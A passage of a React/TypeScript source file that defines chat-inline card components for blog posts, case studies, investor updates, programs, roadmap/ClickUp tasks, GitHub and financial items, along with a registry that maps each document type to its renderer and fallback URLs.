<MingoInfoCard\n      title={title}\n      description={chatRef.preview ?? undefined}\n      icon={<SlackLogoGreyIcon size={24} />}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"Message actions\"\n    />\n  );\n}\n\n/**\n * Generic glyph card for ChatRef-shaped items (title / preview / url) whose\n * only per-type variation is the leading icon — used by the ref-hydrated\n * product-hub objects (design docs, tenants) and the people-hub feeds.\n */\nfunction GlyphChatCard({\n  chatRef,\n  icon,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef;\n  icon: React.ReactNode;\n  isNewTab: boolean;\n  discuss?: CardDiscussAction;\n}) {\n  return (\n    <MingoInfoCard\n      title={chatRef.title}\n      description={chatRef.preview ?? undefined}\n      icon={icon}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"Card actions\"\n    />\n  );\n}\n\nfunction DataRoomDocChatCard({\n  chatRef,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  discuss?: CardDiscussAction;\n}) {\n  // Provenance label. NEVER fall back to \"Data room\" — that would\n  // falsely label non-data-room content (openframe-docs, etc.) as\n  // private investor material when `sourceRepo` is missing or\n  // unrecognized. Generic \"Document\" is intentionally neutral so users\n  // can't be misled about sensitivity / scope.\n  const badgeText = chatRef.sourceRepo ? getSourceLabel(chatRef.sourceRepo) : 'Document';\n  return (\n    <MingoInfoCard\n      title={chatRef.title}\n      description={chatRef.preview ?? undefined}\n      icon={<FileContentIcon size={24} />}\n      status={{ label: badgeText, variant: 'grey' }}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"Document actions\"\n    />\n  );\n}\n\nfunction GenericFinancialChatCard({\n  chatRef,\n  icon,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef;\n  icon: React.ReactNode;\n  isNewTab: boolean;\n  discuss?: CardDiscussAction;\n}) {\n  const subtitle = typeof chatRef.metadata?.subtitle === 'string' ? chatRef.metadata.subtitle : undefined;\n  return (\n    <MingoInfoCard\n      title={chatRef.title}\n      description={subtitle}\n      icon={icon}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"Document actions\"\n    />\n  );\n}\n\nfunction ChatInlineVideoPill({ chatRef }: { chatRef: ChatRef }) {\n  const title = chatRef.title || 'Video';\n  return (\n    <span className=\"inline-flex items-center gap-1 rounded border border-ods-border bg-ods-card px-1.5 py-0.5 align-middle text-xs text-ods-text-primary\">\n      <span aria-hidden=\"true\" className=\"text-ods-text-secondary\">\n        ▶\n      </span>\n      <span className=\"max-w-[220px] truncate\">{title}</span>\n    </span>\n  );\n}\n\n/** Wrap a chat-inline card with the \"Ask\"/\"Display\" affordance + source\n *  tracking strip. Mirrors the hub's `ChatCardWithDiscuss` layout exactly\n *  — the visual contract here drove the lib refactor in the first place. */\nfunction ChatCardWithDiscuss({\n  chatRef,\n  onDiscuss,\n  onDisplay,\n  displayAction,\n  children,\n}: {\n  chatRef: ChatRef;\n  onDiscuss?: (ref: ChatRef) => void;\n  onDisplay?: (ref: ChatRef) => void;\n  displayAction?: boolean;\n  children: React.ReactNode;\n}) {\n  const { Icon: SourceIcon, label: sourceLabel } = resolveSourceIcon({\n    sourceRepo: chatRef.sourceRepo,\n    documentType: chatRef.type,\n  });\n  const idDisplay = chatRef.id && (chatRef.id.length > 24 ? `${chatRef.id.slice(0, 24)}…` : chatRef.id);\n  const useDisplay = displayAction && !!onDisplay;\n  const cardBody = <span className=\"block [&>*]:!my-0\">{children}</span>;\n  return (\n    <span className=\"mb-2 mt-1.5 block w-full\">\n      {cardBody}\n      <span className=\"mt-1 flex items-center justify-between gap-2 pl-0.5\">\n        <SourceActionButton\n          chatRef={chatRef}\n          onDiscuss={useDisplay ? onDisplay : onDiscuss}\n          label={useDisplay ? 'Display' : undefined}\n          density=\"card\"\n        />\n        {!onDiscuss && !useDisplay ? <span /> : null}\n        {idDisplay ? (\n          <span\n            className=\"inline-flex shrink-0 items-center gap-1 text-ods-text-secondary opacity-60 transition-opacity text-code hover:text-ods-text-primary hover:opacity-100\"\n            title={`${sourceLabel} · ${chatRef.id}`}\n          >\n            <SourceIcon className=\"h-3 w-3 shrink-0\" />\n            <span className=\"max-w-[180px] truncate\">{idDisplay}</span>\n          </span>\n        ) : null}\n      </span>\n    </span>\n  );\n}\n\n// =============================================================================\n// Per-type fetch-mode card body — composed by ChatCardLoader once item is in.\n// =============================================================================\n\n/** Anchor-wrapped product-release card. */\nfunction ProductReleaseChatCard({\n  item,\n  chatRef,\n  buildProps,\n  isNewTab,\n  discuss,\n}: {\n  item: ChatCardItem | undefined;\n  chatRef: ChatRef;\n  buildProps: NonNullable<ChatCardDispatchExtras['buildProductReleaseCardProps']>;\n  isNewTab: boolean;\n  discuss?: CardDiscussAction;\n}) {\n  const releaseProps = buildProps(item);\n  const status: MingoInfoCardStatus = item?.version\n    ? { label: String(item.version), variant: 'grey' }\n    : { label: 'Release', variant: 'grey' };\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={item?.summary || releaseProps.formattedDate || undefined}\n      cover={releaseProps.coverImage || undefined}\n      fallbackIcon={<Rocket02Icon size={24} />}\n      status={status}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Release actions\"\n    />\n  );\n}\n\n/** Anchor-wrapped marketing-campaign card. Campaigns have no public\n *  viewer; the registry entry's `fallbackHref` synthesizes the admin\n *  URL upstream in `ChatCardLoader`, so by the time we render here\n *  `chatRef.url` is guaranteed non-null AND the parent's `isNewTab`\n *  reflects the actual destination. */\nfunction CampaignChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  discuss,\n}: {\n  item: ChatCardItem | undefined;\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  discuss?: CardDiscussAction;\n}) {\n  // Mirror CampaignCardAdmin's compact meta — \"date · N goals · Marketing\n  // campaign\" — instead of a status pill (the original showed no status badge).\n  const goalsCount = Array.isArray(item?.goals) ? item.goals.length : 0;\n  const meta = [\n    item?.start_date ? formatDateShort(item.start_date) : null,\n    goalsCount > 0 ? `${goalsCount} goal${goalsCount !== 1 ? 's' : ''}` : null,\n    'Marketing campaign',\n  ]\n    .filter(Boolean)\n    .join(' · ');\n  return (\n    <EntityMingoCard\n      title={item?.name ?? ''}\n      description={meta || item?.description || undefined}\n      fallbackIcon={<Megaphone01Icon size={24} />}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Campaign actions\"\n    />\n  );\n}\n\n/**\n * Shared `MingoInfoCard` shell for fetch-mode entity cards. `cover` renders as\n * the 40px image when present; otherwise `fallbackIcon` shows. Anchor + menu +\n * alt are wired uniformly so each registry render only computes the per-type\n * title / description / cover / icon / status.\n */\nfunction EntityMingoCard({\n  title,\n  description,\n  cover,\n  fallbackIcon,\n  status,\n  chatRef,\n  isNewTab,\n  menuAriaLabel,\n  discuss,\n  openDetails,\n  externalLink,\n}: {\n  title: React.ReactNode;\n  description?: React.ReactNode;\n  cover?: string;\n  fallbackIcon: React.ReactNode;\n  status?: MingoInfoCardStatus;\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  menuAriaLabel: string;\n  discuss?: CardDiscussAction;\n  /** See `cardMenuGroups` — per-entity \"Open Details\" row override. */\n  openDetails?: { label: string; icon: React.ReactNode };\n  /** See `cardMenuGroups` — trailing third-party-app deep-link row. */\n  externalLink?: CardExternalLink;\n}) {\n  return (\n    <MingoInfoCard\n      title={title}\n      description={description}\n      imageSrc={cover}\n      imageAlt={typeof title === 'string' ? title : undefined}\n      icon={fallbackIcon}\n      status={status}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss, openDetails, externalLink)}\n      menuAriaLabel={menuAriaLabel}\n    />\n  );\n}\n\n/** First non-empty cover URL: entity image → OG placeholder → none. */\nfunction entityCover(image: unknown, ogPlaceholder?: string | null): string | undefined {\n  return (typeof image === 'string' && image) || ogPlaceholder || undefined;\n}\n\n/** Free-text status string → coloured status pill, reusing the shared\n *  `getStatusColorScheme` mapping (cyan/default collapse to neutral grey). */\nfunction statusPill(status: unknown): MingoInfoCardStatus | undefined {\n  const s = typeof status === 'string' ? status.trim() : '';\n  if (!s) return undefined;\n  const scheme = getStatusColorScheme(s);\n  const variant: MingoInfoCardStatus['variant'] =\n    scheme === 'success' || scheme === 'error' || scheme === 'warning' ? scheme : 'grey';\n  return { label: s, variant };\n}\n\n/** Blog post → image card. Cover is `featured_image`, falling back to the\n *  host's OG placeholder, then to a newspaper glyph when neither exists. */\nfunction BlogChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  ogPlaceholder,\n  hasEmbeddedVideo,\n  discuss,\n}: {\n  item: ChatCardItem | undefined;\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  ogPlaceholder?: string | null;\n  hasEmbeddedVideo?: boolean;\n  discuss?: CardDiscussAction;\n}) {\n  const category = Array.isArray(item?.categories)\n    ? (item.categories.find(c => c?.name)?.name ?? undefined)\n    : undefined;\n  // A post with embedded video surfaces a yellow \"Video\" pill (mirrors the\n  // original BlogCard's compact video badge + the Figma `7741:26583` sample);\n  // otherwise the first category.\n  const status: MingoInfoCardStatus | undefined = hasEmbeddedVideo\n    ? { label: 'Video', variant: 'primary' }\n    : category\n      ? { label: category, variant: 'grey' }\n      : undefined;\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={item?.summary ?? undefined}\n      cover={entityCover(item?.featured_image, ogPlaceholder)}\n      fallbackIcon={<NewspaperIcon size={24} />}\n      status={status}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Article actions\"\n    />\n  );\n}\n\n/** Case study → trophy icon + \"Case study\" pill. */\nfunction CaseStudyChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  ogPlaceholder,\n  discuss,\n}: {\n  item: ChatCardItem | undefined;\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  ogPlaceholder?: string | null;\n  discuss?: CardDiscussAction;\n}) {\n  const meta = [item?.msp?.name, item?.user?.full_name].filter(Boolean).join(' · ');\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={item?.summary || meta || undefined}\n      cover={entityCover(item?.featured_image, ogPlaceholder)}\n      fallbackIcon={<TrophyIcon size={24} />}\n      status={{ label: 'Case study', variant: 'grey' }}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Case study actions\"\n    />\n  );\n}\n\n/** Customer interview → microphone icon + \"Interview\" pill. */\nfunction CustomerInterviewChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  ogPlaceholder,\n  discuss,\n}: {\n  item: ChatCardItem | undefined;\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  ogPlaceholder?: string | null;\n  discuss?: CardDiscussAction;\n}) {\n  const meta = [item?.user?.full_name, item?.msp?.name].filter(Boolean).join(' · ');\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      // Original compact body reads `video_summary` (NOT `summary`); fall back\n      // to the \"user · msp\" meta line when absent.\n      description={item?.video_summary || meta || undefined}\n      cover={entityCover(item?.featured_image, ogPlaceholder)}\n      fallbackIcon={<MicrophoneIcon size={24} />}\n      status={{ label: 'Interview', variant: 'grey' }}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Interview actions\"\n    />\n  );\n}\n\n/** Investor update → presentation icon + \"Investor update\" pill. Title falls\n *  back to \"Update #N\" when the row has no explicit title. */\nfunction InvestorUpdateChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  ogPlaceholder,\n  discuss,\n}: {\n  item: ChatCardItem | undefined;\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  ogPlaceholder?: string | null;\n  discuss?: CardDiscussAction;\n}) {\n  const title = item?.title || `Update #${item?.update_number ?? '?'}`;\n  return (\n    <EntityMingoCard\n      title={title}\n      // Original compact body reads `strategic_update || content` (NOT\n      // `summary`); fall back to the period text.\n      description={\n        item?.strategic_update ||\n        item?.content ||\n        formatInvestorUpdatePeriod(item?.period_start ?? null, item?.period_end ?? null) ||\n        undefined\n      }\n      cover={entityCover(item?.featured_image, ogPlaceholder)}\n      fallbackIcon={<PresentationLineIcon size={24} />}\n      status={{ label: 'Investor update', variant: 'grey' }}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Update actions\"\n    />\n  );\n}\n\n/** Onboarding guide → compass icon + \"Guide\" pill. Cover prefers the featured\n *  image, then the video thumbnail / OG image. */\nfunction OnboardingGuideChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  ogPlaceholder,\n  discuss,\n}: {\n  item: ChatCardItem | undefined;\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  ogPlaceholder?: string | null;\n  discuss?: CardDiscussAction;\n}) {\n  const cover =\n    entityCover(item?.featured_image) ??\n    entityCover(item?.main_video_thumbnail) ??\n    entityCover(item?.og_image_url, ogPlaceholder);\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={item?.summary ?? item?.description ?? undefined}\n      cover={cover}\n      fallbackIcon={<CompassIcon size={24} />}\n      status={{ label: 'Guide', variant: 'grey' }}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Guide actions\"\n    />\n  );\n}\n\n/** Program (podcast / webinar / event) → per-type icon + type pill. Cover is\n *  the program `cover_url`. */\nfunction ProgramChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  configKey,\n  label,\n  ogPlaceholder,\n  discuss,\n}: {\n  item: ChatCardItem | undefined;\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  configKey: 'podcast' | 'webinar' | 'event';\n  label: string;\n  ogPlaceholder?: string | null;\n  discuss?: CardDiscussAction;\n}) {\n  const icon =\n    configKey === 'webinar' ? (\n      <PresentationBarIcon size={24} />\n    ) : configKey === 'event' ? (\n      <CalendarIcon size={24} />\n    ) : (\n      <MicrophoneIcon size={24} />\n    );\n\n  // Rich meta line mirroring ProgramCard's compact subtitle: \"date · <typeMeta>\"\n  // where typeMeta is podcast duration / event location / webinar time·duration.\n  // The type label itself already lives in the status pill, so it's omitted here.\n  const isScheduled = item?.status === 'scheduled';\n  let typeMeta: string | undefined;\n  if (\n    configKey === 'podcast' &&\n    typeof item?.duration_seconds === 'number' &&\n    item.duration_seconds > 0 &&\n    !isScheduled\n  ) {\n    typeMeta = formatDurationCompact(item.duration_seconds);\n  } else if (configKey === 'event' && typeof item?.location_name === 'string' && item.location_name.trim().length > 0) {\n    typeMeta = item.location_name;\n  } else if (configKey === 'webinar' && item?.start_at) {\n    const time = formatTimeWithTimezone(item.start_at, item.timezone ?? null);\n    const dur = formatDurationFromRange(item.start_at, item.end_at);\n    typeMeta = dur ? `${time} · ${dur}` : time;\n  }\n  const itemDate = formatDate(item?.date ?? null, { fallback: '', timezone: 'local' });\n  const meta = [itemDate, typeMeta].filter(Boolean).join(' · ');\n\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={meta || item?.description || undefined}\n      cover={entityCover(item?.cover_url, ogPlaceholder)}\n      fallbackIcon={icon}\n      status={{ label, variant: 'grey' }}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel={`${label} actions`}\n    />\n  );\n}\n\n/**\n * Roadmap / delivery / task → coloured status pill, no cover image. Icon\n * priority mirrors `RoadmapCard`:\n *   1. task-type glyph for internal tasks (and logo-less typed items)\n *   2. the server-provided integration logo (`item.icon`, ClickUp, …),\n *      shown contained inside the icon box\n *   3. a per-type default glyph\n */\nfunction RoadmapChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  cardType,\n  discuss,\n}: {\n  item: ChatCardItem | undefined;\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  cardType: 'roadmap_item' | 'delivery_item' | 'internal_task';\n  discuss?: CardDiscussAction;\n}) {\n  const logoUrl = typeof item?.icon === 'string' && item.icon.startsWith('http') ? item.icon : undefined;\n  const useTypeIcon = cardType === 'internal_task' || (!logoUrl && item?.customItemId != null);\n  const defaultIcon =\n    cardType === 'delivery_item' ? (\n      <TruckFastIcon size={24} />\n    ) : cardType === 'internal_task' ? (\n      <CheckSquareIcon size={24} />\n    ) : (\n      <MapIcon size={24} />\n    );\n  const icon = useTypeIcon ? (\n    <TaskTypeIcon customItemId={item?.customItemId} className=\"size-6\" />\n  ) : logoUrl ? (\n    // Contained (not full-bleed) so the integration logo keeps its aspect\n    // ratio inside the bordered icon box — matches RoadmapCard.\n    <Image src={logoUrl} alt=\"\" className=\"size-6 object-contain\" width={24} height={24} unoptimized />\n  ) : (\n    defaultIcon\n  );\n  // Every card here is a mirrored ClickUp task whose ref id IS the ClickUp\n  // task id, so the \"⋯\" menu deep-links into ClickUp. internal_task's card\n  // URL already IS that deep link (its mapper resolves no public\n  // destination) — there we relabel the existing \"Open Details\" row instead\n  // of adding a duplicate second ClickUp row.\n  const clickupHref = clickupTaskUrl(chatRef.id);\n  const clickupIcon = <ClickupLogoIcon size={20} />;\n  const cardUrlIsClickup = cardType === 'internal_task';\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={item?.description ?? undefined}\n      fallbackIcon={icon}\n      status={statusPill(item?.status)}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Roadmap actions\"\n      openDetails={cardUrlIsClickup ? { label: 'Open in ClickUp', icon: clickupIcon } : undefined}\n      externalLink={\n        !cardUrlIsClickup && clickupHref\n          ? { label: 'Open in ClickUp', icon: clickupIcon, href: clickupHref }\n          : undefined\n      }\n    />\n  );\n}\n\n// =============================================================================\n// CHAT_CARD_REGISTRY — single source of truth.\n// =============================================================================\n\n/**\n * ONE entry shape — no fetch/no-fetch mode split. Every card type fetches\n * its data by id (\"send ids → get full objects\"); the ONLY entries without\n * a `contentRefType` are the two types that have nothing server-side to\n * fetch: `deleted_data` (a tombstone for a row that no longer exists) and\n * `video` (body-embed content-hash ids with no backing table row) — those\n * render straight from the server-built ref.\n */\ninterface ChatCardRegistryEntry {\n  label: string;\n  /** Render the card alone — skip the `ChatCardWithDiscuss` \"Ask\" +\n   *  provenance source row. */\n  bareInline?: boolean;\n  displayAction?: boolean;\n  /** Hydration type for `useChatCardItem` → `buildListUrl`. Content types\n   *  resolve to their public list APIs; ref-shaped types resolve to the\n   *  hub's generic `/api/chat/entity-refs?type=&ids=`. ABSENT only for\n   *  `deleted_data` + `video` (see above). */\n  contentRefType?: string;\n  /** Required whenever `contentRefType` is set. */\n  skeleton?: () => React.ReactNode;\n  /** `item` is the fetched row (`undefined` only on the ref-only render\n   *  path — `deleted_data` / `video`). */\n  render: (item: ChatCardItem | undefined, chatRef: ChatRef, opts: ChatCardRenderOptions) => React.ReactNode;\n  /** Optional post-fetch URL synthesizer. When `chatRef.url` is null\n   *  AFTER `resolveSourceRowCTA`, the loader runs this against the\n   *  hydrated item to produce a fallback URL (e.g.\n   *  `/admin/campaigns/${item.id}` for marketing campaigns; `item.url`\n   *  for ChatRef-shaped items). Result is validated via `safeHref`\n   *  before being attached to the resolved ref — so the wrapper sees a\n   *  non-null `href`, the pre-computed `isNewTab` reflects the actual\n   *  destination, and the click goes through `handleChatNavClick` (no\n   *  silent bypass of embed-mode / close-on-nav). Takes precedence over\n   *  the `composeContentUrl` fallback below — but NOT over an explicit\n   *  host `override` for the type (see `pickFetchedCardHref`). */\n  fallbackHref?: (item: ChatCardItem) => string | null;\n  /** Opt OUT of the post-fetch `composeContentUrl` SYNTHESIS (see\n   *  `resolveFetchedCardHref`). Set for types with NO public destination\n   *  — the seam would otherwise synthesize `<contentOrigin>/<type>/<id>`\n   *  from its default branch and hand the user a 404.\n   *\n   *  It does NOT opt out of the seam itself: an explicit host `override`\n   *  for the type still wins (`pickFetchedCardHref`). That split is the\n   *  point — a host that re-homes a type must be able to say so even when\n   *  the row already carries the content host's own url. */\n  noComposedHref?: boolean;\n}\n\n/**\n * Entry preset for types hydrated by their per-object card route\n * (`/api/github/commits`, `/api/slack-community/messages`, …;\n * `hubspot_ticket_self` via `/api/tickets`) — the fetched item IS a\n * `ChatRef`, and the API is the SINGLE display-data layer\n * (`fetchedItemDisplayRef`): `item.url` is the canonical destination\n * (`fallbackHref`), no `<origin>/<type>/<id>` synthesis\n * (`noComposedHref`). Loading shows the skeleton, exactly like every\n * other fetch card.\n *\n * NOTE `item.url` is minted by the CONTENT host for its OWN surface, so an\n * embedder that serves the same rows elsewhere overrides the type in its\n * `composeContentUrl` config and that wins here — see `pickFetchedCardHref`.\n * (Observed: hub tickets are `/tickets?ticket=…`, which in the OpenFrame\n * console resolved against its own unrelated `/tickets` board.)\n */\nfunction refHydratedEntry(\n  docType: string,\n  label: string,\n  renderRef: (displayRef: ChatRef, opts: ChatCardRenderOptions) => React.ReactNode,\n): ChatCardRegistryEntry {\n  return {\n    label,\n    bareInline: true,\n    contentRefType: docType,\n    noComposedHref: true,\n    fallbackHref: (item: { url?: string | null }) => item?.url ?? null,\n    skeleton: () => <MingoInfoCardSkeleton />,\n    render: (item, chatRef, opts) => renderRef(fetchedItemDisplayRef(item, chatRef), opts),\n  };\n}\n\ninterface FinancialCardConfig {\n  label: string;\n  /** Per-type leading glyph — carries the type signal now that the\n   *  badge pill is dropped. */\n  icon: () => React.ReactNode;\n}\nconst FINANCIAL_CARD_CONFIGS: Record<string, FinancialCardConfig> = {\n  financial_kpi: { label: 'Financial KPI', icon: () => <ChartBar01VerIcon size={24} /> },\n  cap_table: { label: 'Cap table entry', icon: () => <ChartPieIcon size={24} /> },\n  profit_loss: { label: 'P&L period', icon: () => <MoneyBillDollarIcon size={24} /> },\n  balance_sheet: { label: 'Balance sheet', icon: () => <BankIcon size={24} /> },\n  cash_flow: { label: 'Cash flow', icon: () => <CoinsExchangeCurrencyIcon size={24} /> },\n};\n/** Expand a per-family config map into registry entries — ONE loop shell\n *  for every card family (financial, github, program, roadmap); adding a\n *  family is a config map + one `registryEntries(...)` call. */\nfunction registryEntries<C>(\n  configs: Record<string, C>,\n  build: (cfg: C, docType: string) => ChatCardRegistryEntry,\n): Record<string, ChatCardRegistryEntry> {\n  const out: Record<string, ChatCardRegistryEntry> = {};\n  for (const [docType, cfg] of Object.entries(configs)) out[docType] = build(cfg, docType);\n  return out;\n}\n\nfunction financialRegistryEntries(): Record<string, ChatCardRegistryEntry> {\n  return registryEntries(FINANCIAL_CARD_CONFIGS, (cfg, docType) =>\n    refHydratedEntry(docType, cfg.label, (displayRef, opts) => (\n      <GenericFinancialChatCard\n        chatRef={displayRef}\n        icon={cfg.icon()}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n      />\n    )),\n  );\n}\n\ninterface GitHubCardConfig {\n  label: string;\n  kind: GitHubActivityKind;\n}\nconst GITHUB_CARD_CONFIGS: Record<string, GitHubCardConfig> = {\n  github_commit: { label: 'GitHub commit', kind: 'commit' },\n  github_commit_public: { label: 'GitHub commit (public)', kind: 'commit' },\n  github_pull_request: { label: 'GitHub PR', kind: 'pull_request' },\n  github_pull_request_public: { label: 'GitHub PR (public)', kind: 'pull_request' },\n  github_pr_review: { label: 'GitHub review', kind: 'pr_review' },\n  github_pr_review_public: { label: 'GitHub review (public)', kind: 'pr_review' },\n};\ninterface GlyphCardConfig {\n  label: string;\n  icon: () => React.ReactNode;\n}\n/** Product-hub internal objects hydrated by their per-object card routes\n *  (`/api/design-docs`, `/api/openframe-tenants` — ChatRef-shaped items,\n *  same preset as github / slack). Adding one = one line here + the\n *  `list-url.ts` builder + the `source-icons.ts` label / icon / type entries. */\nconst REF_GLYPH_CARD_CONFIGS: Record<string, GlyphCardConfig> = {\n  design_doc: { label: 'Design doc', icon: () => <FileContentIcon size={24} /> },\n  openframe_tenant: { label: 'OpenFrame tenant', icon: () => <BuildingsIcon size={24} /> },\n};\nfunction refGlyphRegistryEntries(): Record<string, ChatCardRegistryEntry> {\n  return registryEntries(REF_GLYPH_CARD_CONFIGS, (cfg, docType) =>\n    refHydratedEntry(docType, cfg.label, (displayRef, opts) => (\n      <GlyphChatCard chatRef={displayRef} icon={cfg.icon()} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n    )),\n  );\n}\n\n/** People-hub employee feeds hydrate from their EXISTING list APIs\n *  (`/api/what-i-shipped?ids=`, `/api/how-i-work?ids=`) — entry-shaped rows\n *  (title / summary / author), not ChatRefs, hence the bespoke row→display\n *  mapping (the FAQ precedent). The destination comes from the ref (the\n *  server-resolved entry url) or, on a bare marker, the host's\n *  `composeContentUrl` seam for the type. */\nfunction fetchedEmployeeEntryDisplayRef(item: unknown, chatRef: ChatRef): ChatRef {\n  const it = item as { title?: unknown; summary?: unknown; author?: { full_name?: unknown } | null };\n  const title = typeof it?.title === 'string' && it.title.trim().length > 0 ? it.title.trim() : chatRef.title;\n  const author = typeof it?.author?.full_name === 'string' ? it.author.full_name.trim() : '';\n  const summary = typeof it?.summary === 'string' ? it.summary.trim() : '';\n  const preview = [author, summary].filter(x => x.length > 0).join(' · ');\n  return { ...chatRef, title, preview: preview.length > 0 ? preview : chatRef.preview };\n}\nconst EMPLOYEE_ENTRY_CARD_CONFIGS: Record<string, GlyphCardConfig> = {\n  what_i_shipped: { label: 'What I Shipped', icon: () => <Rocket02Icon size={24} /> },\n  how_i_work: { label: 'How I Work', icon: () => <ClipboardListIcon size={24} /> },\n};\nfunction employeeEntryRegistryEntries(): Record<string, ChatCardRegistryEntry> {\n  return registryEntries(EMPLOYEE_ENTRY_CARD_CONFIGS, (cfg, docType) => ({\n    label: cfg.label,\n    bareInline: true,\n    contentRefType: docType,\n    skeleton: () => <MingoInfoCardSkeleton />,\n    render: (item, chatRef, opts) => (\n      <GlyphChatCard\n        chatRef={fetchedEmployeeEntryDisplayRef(item, chatRef)}\n        icon={cfg.icon()}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n      />\n    ),\n  }));\n}\n\nfunction githubRegistryEntries(): Record<string, ChatCardRegistryEntry> {\n  return registryEntries(GITHUB_CARD_CONFIGS, (cfg, docType) =>\n    refHydratedEntry(docType, cfg.label, (displayRef, opts) => (\n      <GitHubChatCard chatRef={displayRef} kind={cfg.kind} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n    )),\n  );\n}\n\ntype ProgramConfigKey = 'podcast' | 'webinar' | 'event';\ninterface ProgramCardConfig {\n  label: string;\n  configKey: ProgramConfigKey;\n  contentRefType: string;\n}\nconst PROGRAM_CARD_CONFIGS: Record<string, ProgramCardConfig> = {\n  podcast: { label: 'Podcast episode', configKey: 'podcast', contentRefType: 'podcast' },\n  webinar: { label: 'Webinar', configKey: 'webinar', contentRefType: 'webinar' },\n  event: { label: 'Event', configKey: 'event', contentRefType: 'event' },\n};\nfunction programRegistryEntries(): Record<string, ChatCardRegistryEntry> {\n  return registryEntries(PROGRAM_CARD_CONFIGS, cfg => ({\n    label: cfg.label,\n    contentRefType: cfg.contentRefType,\n    bareInline: true,\n    skeleton: () => <ProgramCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <ProgramChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n        configKey={cfg.configKey}\n        label={cfg.configKey.charAt(0).toUpperCase() + cfg.configKey.slice(1)}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n      />\n    ),\n  }));\n}\n\ntype RoadmapCardType = 'roadmap_item' | 'delivery_item' | 'internal_task';\ninterface RoadmapEntryConfig {\n  label: string;\n  cardType: RoadmapCardType;\n  contentRefType: string;\n  /** See `ChatCardRegistryEntry.noComposedHref`. */\n  noComposedHref?: boolean;\n  /** See `ChatCardRegistryEntry.fallbackHref`. */\n  fallbackHref?: (item: ChatCardItem) => string | null;\n}\nconst ROADMAP_CARD_CONFIGS: Record<string, RoadmapEntryConfig> = {\n  roadmap_item: { label: 'Roadmap item', cardType: 'roadmap_item', contentRefType: 'roadmap_item' },\n  delivery_item: {\n    label: 'Delivery item',\n    cardType: 'delivery_item',\n    contentRefType: 'delivery_item',\n  },\n  internal_task: {\n    label: 'Internal task',\n    cardType: 'internal_task',\n    contentRefType: 'internal_task',\n    // Internal ClickUp work has no public destination on any platform — the\n    // seam's default branch would synthesize `<hub>/internal_task/<id>`.\n    // The card's destination IS the ClickUp deep link, derived from the\n    // task id post-fetch (the refs frame used to carry it).\n    noComposedHref: true,\n    fallbackHref: (item: { id?: unknown }) => (item?.id != null ? clickupTaskUrl(String(item.id)) : null),\n  },\n};\nfunction roadmapRegistryEntries(): Record<string, ChatCardRegistryEntry> {\n  return registryEntries(ROADMAP_CARD_CONFIGS, cfg => ({\n    label: cfg.label,\n    contentRefType: cfg.contentRefType,\n    bareInline: true,\n    ...(cfg.noComposedHref ? { noComposedHref: true } : {}),\n    ...(cfg.fallbackHref ? { fallbackHref: cfg.fallbackHref } : {}),\n    skeleton: () => <RoadmapCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <RoadmapChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n        